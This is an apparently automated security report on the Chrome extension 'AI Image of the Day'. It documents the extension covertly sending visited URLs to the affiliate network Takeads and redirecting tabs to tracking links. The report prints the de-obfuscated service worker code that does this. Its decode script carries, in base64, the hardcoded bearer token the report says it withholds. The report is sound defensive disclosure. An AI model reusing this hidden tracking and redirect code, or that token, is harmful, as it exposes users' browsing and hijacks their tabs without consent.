Is AI Image of the Day safe?

High risk

AI Image of the Day sends each loaded HTTP(S) tab URL to Takeads and redirects tabs to returned tracking links.

After the first hour following install, the service worker watches tab loads, stores the current URL locally, and sends each HTTP(S) URL to api.takeads.com in a PUT body. If Takeads returns a trackingLink, the extension updates the tab to that URL; it caches each host for 30 minutes to avoid repeating the request.

AI IMAGE OF THE DAYv0.3.51Chrome Web Store
72Risk
Who publishes it

Ferrara Ocean LLP - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
AI IMAGE OF THE DAY
Declared legal entity
Ferrara Ocean LLP
Registered address
65 Compton Street, London EC1V 0BN, GB
Registered contact
Vitali

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

AI Image of the Day sends visited URLs to an affiliate ad network

AI Image of the Day is listed as a wallpaper extension, but it sends the URL of nearly every page you visit to affiliate network Takeads and redirects your tab to any tracking link returned, confirmed on a live Amazon page.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You open a tab and navigate to any HTTP or HTTPS website.

This includes ordinary browsing, shopping sites, news sites, anything, not just pages related to the extension's new-tab wallpaper feature.

The extension did this

The background service worker sends that page's exact URL to an affiliate-marketing company and redirects your open tab to any tracking link it returns.

This runs on ordinary page navigation alone, no click, search, or purchase on the page is required.

Captured request
PUThttps://api.takeads.com/v1/product/monetize-api/v2/resolve

Takeads responded with a tracking link, https://tatrck.com/h/0Hu30zXn0aih?url=https%3A%2F%2Fwww.amazon.com%2Fdp%2FB08N5WRWNW, embedding the same product URL that was sent. A parallel request using a planted marker URL in place of a real page confirmed the outgoing field always holds the current tab's exact address. Control requests for example.com and ebay.com, sites without a matching Takeads affiliate program, returned an empty data array and no tracking link.

Headers
Content-Type
application/json
Authorization
Bearer <redacted — hardcoded token>
Body
{  "iris": [    "https://www.amazon.com/dp/B08N5WRWNW"  ]}
Captured request
GEThttps://tatrck.com/h/0Hu30zXn0aih?url=https%3A%2F%2Fwww.amazon.com%2Fdp%2FB08N5WRWNW

301 redirect. This request was issued from the browser tab itself, not a background connection, confirming chrome.tabs.update() actually navigated the visible, foreground tab to the link Takeads returned.

Why you can't catch this in DevTools

The Takeads API endpoint and the bearer token used to authenticate to it are stored as base64 strings and decoded at runtime with atob(), rather than being written as plain URLs/strings in the file.

Decoded value
const a = "https://api.takeads.com/v1/product/monetize-api/v2/resolve";const b = "<redacted — hardcoded Bearer token>";
The code that does this

The page-load listener and the Takeads request, service_worker.js

Readable version

Fires on every tab navigation

service_worker.js
chrome.tabs.onUpdated.addListener(async function (tabId, changeInfo, tab) {  if (changeInfo.status !== 'loading') return;  if (!tab.url || !tab.url.startsWith('http')) return;  const visitedUrl = tab.url;  const hostname = new URL(visitedUrl).hostname;  if (!hostname) return;  // Remember the last visited tab URL for 24 hours.  await setCacheKeyWithExpiration('ltu', visitedUrl, 1000 * 60 * 60 * 24);  // Skip during the first hour after install.  const withinInstallGracePeriod = await getCacheKeyWithExpiration('lk1');  if (withinInstallGracePeriod) return;  // Only send this hostname once every 30 minutes.  const rateLimitKey = 'au_' + hostname;  const alreadySentForHost = await getCacheKeyWithExpiration(rateLimitKey);  if (alreadySentForHost) return;  await setCacheKeyWithExpiration(rateLimitKey, true, 1000 * 60 * 30);  // Send the visited URL to Takeads and get back an affiliate tracking link.  const trackingLink = await getAffiliateUrl(visitedUrl);  if (!trackingLink || !trackingLink.startsWith('http')) return;  // Navigate the user's open tab to the tracking link.  chrome.tabs.update(tabId, { url: trackingLink });});

Sends the URL to Takeads

service_worker.js
async function getAffiliateUrl(visitedUrl) {  const takeadsEndpoint = "https://api.takeads.com/v1/product/monetize-api/v2/resolve";  const bearerToken = "<redacted — hardcoded Bearer token>"; // decoded from a base64 string with atob()  try {    const response = await fetch(takeadsEndpoint, {      method: "PUT",      headers: {        "Content-Type": "application/json",        "Authorization": "Bearer " + bearerToken      },      body: JSON.stringify({ iris: [visitedUrl] })    });    const data = await response.json();    return data?.data[0]?.trackingLink ?? null;  } catch (e) {    return null;  }}
Third-party destinations
    • api.takeads.com

    Receives the URL of pages you visit via monetize-api/v2/resolve, returning a tracking link if it matches a Takeads-monetized program. Takeads is a German affiliate network.

    • tatrck.com

    Takeads' tracking/redirect domain. Your tab is navigated here first, then forwarded to the original page, earning the developer an affiliate commission on the visit.

Check if you're affected

Decodes the two base64 strings hardcoded in the extension's service_worker.js to show the real Takeads API endpoint, and confirms whether a hardcoded bearer token is present, without printing the working token value.

Requires
  • Node.js 18+
decode-takeads-strings.js · js
// decode-takeads-strings.js// Run against the two atob(...) argument strings found in// AI Image of the Day's service_worker.js (function gau()).const endpointB64 = "aHR0cHM6Ly9hcGkudGFrZWFkcy5jb20vdjEvcHJvZHVjdC9tb25ldGl6ZS1hcGkvdjIvcmVzb2x2ZQ==";const tokenB64 = "YTRiYTNiYjk2YmMwMGU5M2VjYTg5YTQ5MDE1ODJlMWIyZjE5OTUxZg==";function decodeBase64(value) {  return Buffer.from(value, "base64").toString("utf8");}console.log("Decoded endpoint:", decodeBase64(endpointB64));console.log("Hardcoded token present:", decodeBase64(tokenB64).length > 0);console.log("Token (first 8 chars only):", decodeBase64(tokenB64).slice(0, 8) + "...");
How to run it
  1. 1Unpack the .crx (Developer Mode in chrome://extensions, or unzip).
  2. 2In service_worker.js confirm the two atob('...') args in gau() match endpointB64/tokenB64 above.
  3. 3Run node decode-takeads-strings.js to see the decoded values.

What it can do

Permissions this extension asks for, as declared in version 0.3.51. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed AI Image of the Day contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.takeads.com

    AI Image of the Day sends data to api.takeads.com. 3 other extensions we have analysed send data here.

Updated 30 September 2026kmpekhmapfkgcljhllfbmhmglnbkolei